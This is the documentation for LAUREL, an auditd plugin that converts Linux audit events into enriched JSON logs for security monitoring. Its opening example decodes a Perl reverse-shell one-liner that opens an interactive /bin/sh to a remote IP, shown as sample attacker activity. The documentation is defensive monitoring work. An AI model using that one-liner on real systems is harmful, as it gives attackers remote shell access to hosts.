LAUREL is an event post-processing plugin for auditd(8) to improve its usability in modern security monitoring setups.
Documentation corresponding to the latest stable release can be found here.
TLDR: Instead of audit events that look like this…
type=EXECVE msg=audit(1626611363.720:348501): argc=3 a0="perl" a1="-e" a2=75736520536F636B65743B24693D2231302E302E302E31223B24703D313233343B736F636B65742…
…turn them into JSON logs where the mess that your pen testers/red teamers/attackers are trying to make becomes apparent at first glance:
{ … "EXECVE":{ "argc": 3,"ARGV": ["perl", "-e", "use Socket;$i=\"10.0.0.1\";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};"]}, …}
This happens at the source because LAUREL runs on the host where the audit events are generated. The event even contains useful information about the parent process (ppid):
"PPID":{"EVENT_ID":"1643635026.276:327308","comm":"sh","exe":"/usr/bin/dash","ppid":3190631}
Logs produced by the Linux Audit subsystem and auditd(8) contain information that can be very useful for host-based security monitoring. However, the format is not well-suited for at-scale analysis: Events are usually split across different lines that have to be merged using a message identifier. Files and program executions are logged via PATH and EXECVE elements, but a limited character set for strings causes many of those entries to be hex-encoded. For a more detailed discussion, see Practical auditd(8) problems.
LAUREL solves these problems by consuming audit events, parsing, transforming, enriching them, and writing them out as a separate JSON-based log. All information that was part of the original audit log is kept intact. The audit daemon is not replaced as the consumer of audit messages from the Linux kernel. Instead, auditd's plugin interface is used, therefore _LAUREL.. can peacefully coexist with other consumers of audit events.
The chapter LAUREL installation instructions contains instructions on how to set up and configure usage of the plugin.
Details about the log format are described in the JSON-based log format chapter.
We developed this tool because we were not content with feature sets and performance characteristics of existing projects and products. Please refer to the Performance chapter for details.
Currently, LAUREL comes with no explicit recommendations on what to log. This is left as an exercise to the user. A good starting point for an audit ruleset is https://github.com/Neo23x0/auditd.
LAUREL will currently work best if End Of Event record are not suppressed, so rules like
-a always,exclude -F msgtype=EOE
should be removed.
Every event that is caused by a syscall or filesystem rule is annotated with information about the process that caused the event and its parent:
"PPID": {
"EVENT_ID": "1643635026.276:327308",
"comm": "sh",
"exe": "/usr/bin/dash",
"ppid": 1532
},
"PID": {
"EVENT_ID": "1643635028.826:327529",
}PID.EVENT_ID or PPID.EVENT_ID refers to the audit event corresponding to the last execve syscall for the process or its parent, respectively.
Audit events can contain a key, a short string that can be used to filter events. LAUREL can be configured to recognize such keys and add them as labels to the process that caused the event. These labels can also be propagated to child processes. This is useful to avoid expensive JOIN-like operations in log analysis to filter out noise.
Consider the following audit rule that set keys for apt and dpkg invocations:
-w /usr/bin/apt-get -p x -k software_mgmt
Let's configure LAUREL to turn the software_mgmt key into a process label that is propagated to child processes:
[label-process]
label-keys = [ "software_mgmt" ]
propagate-labels = [ "software_mgmt" ]Together with a ruleset that logs execve(2) and variants, this will cause every event directly caused by apt-get and its subprocesses to be labelled software_mgmt.
For example, running sudo apt-get update on a Debian/bullseye system with a few sources configured, the following subprocesses labelled software_gmt can be observed in LAUREL's audit log:
apt-get update/usr/bin/dpkg --print-foreign-architectures/usr/lib/apt/methods/http/usr/lib/apt/methods/https/usr/lib/apt/methods/https/usr/lib/apt/methods/http/usr/lib/apt/methods/gpgv/usr/lib/apt/methods/gpgv/usr/bin/dpkg --print-foreign-architectures/usr/bin/dpkg --print-foreign-architectures
This sort of tracking also works for package installation or removal. If some package's post-installation script is behaving suspiciously, a SIEM analyst will be able to make the connection to the software installation process by inspecting a single event.
GNU General Public License, version 3
- Hilko Bengen <bengen@hilluzination.de>
- Sergej Schmidt <sergej@msgpeek.net>
The logo was created by Birgit Meyer <hello@biggi.io>.